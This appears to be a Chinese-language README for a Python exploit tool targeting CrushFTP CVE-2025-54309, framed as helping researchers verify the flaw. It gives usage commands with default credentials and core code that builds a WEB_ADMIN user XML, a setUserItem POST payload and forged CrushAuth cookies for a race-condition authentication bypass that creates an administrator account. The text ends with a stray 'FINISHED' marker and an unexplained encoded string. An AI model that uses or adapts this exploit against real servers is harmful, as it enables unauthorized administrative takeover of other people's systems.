CrushFTP CVE-2025-54309 条件竞争认证绕过利用工具
本项目是一个针对 CrushFTP 服务器认证绕过漏洞 (CVE-2025-54309) 的高效、可扩展的 Python 利用工具。基于公开的 WatchTowr 研究成果开发,该工具通过条件竞争(Race Condition)在目标服务器上创建新的管理员账户,帮助安全研究人员快速验证漏洞的存在。
功能特性
- ⚡ 条件竞争利用:核心功能通过发送高并发请求触发漏洞,绕过认证机制。
- 👤 自定义账户创建:允许用户在利用成功后指定新管理员账户的用户名和密码。
- 📈 并发请求控制:支持设置发送的请求对数量(默认5000次),以适应不同的网络环境和目标服务器性能。
- 📦 简洁的Payload设计:内置创建管理员用户所需的完整XML数据包,结构清晰。
- 🔧 易于扩展:代码结构模块化,预留了
-P/--payload参数,方便未来增加其他类型的Payload。
安装指南
系统要求
- Python 3.6 或更高版本
requests库
安装步骤
-
克隆或下载项目代码:
git clone https://github.com/your-repo/CVE-2025-54309-crushftp.git cd CVE-2025-54309-crushftp -
安装依赖: 项目依赖
requests库,可以使用 pip 进行安装:pip install requests
使用说明
基础使用示例
运行脚本需要指定目标 CrushFTP 服务器的 URL。
python crushedftp.py http://target.crushftp.com
该命令会使用默认的 username:password (默认为 meow:meow!) 和 5000 个请求对尝试利用漏洞。
高级选项
你可以通过命令行参数自定义利用过程:
python crushedftp.py -u admin -p P@ssw0rd -r 8000 http://target.crushftp.com
-u, --username:设置要创建的管理员用户名(例如admin)。-p, --password:设置要创建的管理员密码(例如P@ssw0rd)。-r, --requests:设置发送的请求对数量(例如8000)。
典型使用场景
- 漏洞验证:对疑似存在漏洞的 CrushFTP 服务器进行验证。使用较低并发数(如1000)和随机账户名,观察是否成功创建用户。
- 渗透测试:在授权测试中,通过此工具获取服务器管理权限。可适当提高并发数(如5000-10000)以提高成功率。
- 安全研究:分析漏洞触发机制,调整
C2F_K_VALUE和TIMESTAMP_VALUE等参数,研究Cookie生成逻辑。
API概览
脚本核心逻辑围绕几个主要函数展开:
create_user_xml(username, password):生成包含新用户信息的完整 XML 字符串。create_user_payload(c2f_cookie, username, password):构建用于setUserItem命令的 POST 数据字典。new_c2f_cookie():生成一个带有随机值的CrushAuthCookie。- 主函数
exploit(target, username, password, num_requests):执行条件竞争攻击,发送大量并发请求。
核心代码
1. 用户创建 XML 生成器
此函数构建了创建管理员账户所需的核心 XML 结构,包含用户名、密码、站点权限((CONNECT)(WEB_ADMIN))等关键属性。
def create_user_xml(username='', password='') -> str:
# 生成当前时间戳字符串,用于日志记录
current_time = time.strftime('%m/%d/%Y %I:%M:%S %p')
# 返回格式化的用户XML,包含管理权限
return f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties">
<max_logins_ip>8</max_logins_ip>
<real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user>
<root_dir>/</root_dir>
<user_name>{username}</user_name>
<version>1.0</version>
<max_logins>0</max_logins>
<last_logins>{current_time}</last_logins>
<password>{password}</password>
<site>(CONNECT)(WEB_ADMIN)</site>
<ignore_max_logins>true</ignore_max_logins>
<max_idle_time>0</max_idle_time>
<username>{username}</username>
</user>'''
2. 漏洞利用Payload构造
该函数将用户 XML 与必要的虚拟文件系统(VFS)和权限 XML 组合,形成最终发送给 /WebInterface/function/ 端点的完整数据包。c2f 参数取自 Cookie,用于绕过部分验证。
def create_user_payload(c2f_cookie='', username='', password='' ):
# 生成用户数据的XML
user_xml = create_user_xml(username, password)
# 返回POST数据字典,包含所有必要字段
return {
"command": "setUserItem",
"data_action": "new",
"serverGroup": "MainUsers",
"username": username,
"user": user_xml,
"xmlItem": "user",
"vfs_items": VFS_XML, # 预定义的VFS XML
"permissions": PERMISSIONS_XML, # 预定义的权限XML
"c2f": c2f_cookie.split('=')[-1] # 提取Cookie值
}
3. 随机Cookie生成
为了在条件竞争中产生大量有效的请求,工具会生成随机的 CrushAuth Cookie。Cookie 的结构模仿了 CrushFTP 的认证格式,包含时间戳和随机字符。
def new_c2f_cookie():
# 生成C2F部分的随机字符串,长度由C2F_K_VALUE控制
c2f = gen_random(C2F_K_VALUE)
# 获取当前时间的毫秒级时间戳
timestamp = int(time.time() * 1000)
# 生成时间戳后缀部分的随机字符串
suffix = gen_random(TIMESTAMP_VALUE)
# 组装成完整的CrushAuth Cookie值
# 格式: CrushAuth={timestamp}_{suffix}{c2f}
return f"CrushAuth={timestamp}_{suffix}{c2f};cu"
```FINISHED
6HFtX5dABrKlqXeO5PUv/wh60lxkqLqgJWwiJJzRiDkG8rrTOoUE57jc/9Qgxvpk